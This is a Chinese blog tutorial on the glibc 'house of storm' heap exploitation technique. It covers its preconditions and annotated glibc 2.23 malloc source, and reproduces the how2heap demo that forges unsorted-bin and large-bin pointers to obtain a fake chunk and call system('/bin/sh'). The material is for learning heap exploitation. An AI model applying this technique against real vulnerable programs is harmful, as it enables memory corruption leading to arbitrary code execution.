house of storm

一、漏洞利用条件

house of storm是一种结合了unsorted bin attack和large bin attack的攻击技术,其基本原理和large bin attack类似,漏洞发生在unsorted_bin的chunk放入largebin的过程中。

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_bin 和 unsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

二、源码分析

这是glibc2.23中的源码分析

//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) 
{
    bck = victim->bk;//取出unsorted的尾部的chunk
    /*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size 
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在 
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接 
victim->size 没有问题。
*/
    if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect(victim->size > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
            chunk2mem(victim), av);

    size = chunksize(victim);//获取victim的size

    /*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。

last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
    if (in_smallbin_range(nb) &&
        bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

        //分割remainder
        remainder_size = size - nb;//计算分割后剩下的size
        remainder = chunk_at_offset(victim, nb);//获取remainder的地址
        //把remainder加入unsorted bin中
        unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
        av->last_remainder = remainder; // 设置last_remainder为remainder
        remainder->bk = remainder->fd = unsorted_chunks(av);
        //如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
        if (!in_smallbin_range(remainder_size)) {
            remainder->fd_nextsize = NULL;
            remainder->fd_nextsize = NULL;
        }
        //设置victim的size
        set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
        //设置remainder的size
        set_head(remainder, remainder_size | PREV_INUSE);
        //设置remainder的物理相邻的下一个chunk的prev_size
        set_foot(remainder, remainder_size);

        check_malloced_chunk(av, victim, nb);//默认不做任何操作
        void *p = chunk2mem(victim);//将chunk指针转化为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }


    //把victim从unsorted bin 中移除
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

    //如果 victim 的size 与申请的size相等,那么就返回其。
    if (size == nb) {
        //设置victim物理相邻的下一个chunk的prev_inuse位
        set_inuse_bit_at_offset(victim, size);
        //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
        if (av != &main_arena)
            victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); // 默认不做任何操作
        void *p = chunk2mem(victim);//把chunk转换为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
            }


            //如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
            //如果在smallbin的范围,则放到对应多small bin中
            if (in_smallbin_range(size)) 
            {
            victim_index = smallbin_index(size);//获取size对应的smallbin的index
            bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
            //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
            fwd = bck->fd;
            }
            else//如果不再smallbin的范围,也就是说在large bin 的范围
            {
            victim_index = largebin_index(size);//获取size对应的large bin的index
            bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
            fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

            //如果large bin 非空,在largbin进行按顺序插入
            if (fwd != bck) {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            /*
            large bin中的chunk是按从大到小排列的,如果size < large bin 
            的最后一个chunk,说明size是这个large bin中的最小的,我们把它
            加入到此large bin尾部。
            */
            if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

            fwd = bck;
            bck = bck->bk;

            /*
            large bin 中size最小的chunk的fd_nextsize会指向size最大的
            那个chunk,也就是首部的chunk。同样,large bin 中size最大的
            chunk的bk_nextsize会指向size最小的那个chunk。
            victim的bk_nextsize指向large bin原来最小的chunk,它的
            bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
            把它fd_nextsize和bk_nextsize都修正。
            */
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            //最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } 
            else //如果victim不是large bin 中最小的chunk
            {
            assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            //从大到小(从头到尾)找到合适的位置
            while ((unsigned long) size < fwd->size) {
            fwd = fwd->fd_nextsize;
            assert((fwd->size & NON_MAIN_ARENA) == 0);
            }
            //如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
            if ((unsigned long) size == (unsigned long) fwd->size)
            fwd = fwd->fd;
            else 
            {
            //size不相等,即size>fwd->size,把victim加入到纵向链表中
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
            }
            } 
            else //如果large bin 为空,将victim加入到纵向列表
            victim->fd_nextsize = victim->bk_nextsize = victim;
            }

            //#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
            mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
            //把victim加入到large bin的链表中
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk = victim;
            bck->fd = victim;
            }

三、demo举例

House Of Storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk

下面依旧是how2heap的例子

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
    unsigned long  presize;
    unsigned long  size;
    unsigned long  fd;
    unsigned long  bk;
    unsigned long  fd_nextsize;
    unsigned long  bk_nextsize;
}chunk;

int main()
{
    unsigned long *large_chunk,*unsorted_chunk;
    unsigned long *fake_chunk = (unsigned long *)&chunk;
    char *ptr;


    unsorted_chunk=malloc(0x418);
    malloc(0X20);
    large_chunk=malloc(0x408);
    malloc(0x20);



    free(large_chunk);
    free(unsorted_chunk);
    unsorted_chunk=malloc(0x418);  //large_chunk归位
    free(unsorted_chunk);  // unsorted_chunk归位

    //重点一下3步
    unsorted_chunk[1] = (unsigned long )fake_chunk;
    large_chunk[1]    = (unsigned long )fake_chunk+8;
    large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;


    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh\x00", 0x10);
    system(((char *)fake_chunk + 0x10));

    return 0;
}

我们开始分布解析

step1初始化

显然这是构造一个类似large chunk的fake chunk

struct {
    unsigned long  presize;
    unsigned long  size;
    unsigned long  fd;
    unsigned long  bk;
    unsigned long  fd_nextsize;
    unsigned long  bk_nextsize;
}chunk;

int main()
{
    unsigned long *large_chunk,*unsorted_chunk;
    unsigned long *fake_chunk = (unsigned long *)&chunk;
    char *ptr;

step2初始化chunk

这里提一个小tips大于0x400的chunk是large chunk

unsorted_chunk=malloc(0x418);
malloc(0X20);//防止free时与large_chunk合并
large_chunk=malloc(0x408);
malloc(0x20);//防止free时与top chunk合并

step3丢入bin中

free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418);  //large_chunk归位
free(unsorted_chunk);  // unsorted_chunk归位

step4伪造fake_chunk(最最最重要的一步)

unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1]    = (unsigned long )fake_chunk+8;
large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;

看到这里可能就是师傅们最难理解的一点了,为什么bk_nextsize跑到了这么奇怪的地方

首先我们需要了解一个检查方式

victim->bk_nextsize->fd_nextsize = victim;

Q:现在请师傅们思考一个问题,一个large chunk找自己的fd_nextsize去哪里找呢?

A:应该从自己的起始地址+0x20去找。size、fd、bk、fd_nextsize,但是由于是小端序,size字段的3bit没用,所以只需要在-0x18-5的地方

其实就是在 fake_chunk-5 中写入了 victim

  • 如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,减去5个字节,剩下的就是0x55(或0x56)了
  • 如果提前5个字节开始写堆地址,那么伪造在 size字段 上面的就正好是0x55

也就是说,链入 unsortedbin 的 fake_chunk 的 size字段 是可能为0x56的,而0x56刚好可以通过 unsortedbin 的检查(注意:size字段 如果为“0x55”,那么P位就是“1”,通不过检查)

接下来程序就会申请到 fake_chunk ,然后在其中写入“/bin/sh”,作为system的参数

__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,但是由于程序有随机化,多运行几次总能有一次成功的。

step5利用漏洞完成pwn!

因为unsorted bin是LIFO,所以我们伪造的victim chunk在我们malloc一个0x48时候正好分配出来,此时达到任意地址写的目的

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));

四、参考博客

house_of_storm 详解 - Rookle - 博客园 (cnblogs.com)

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值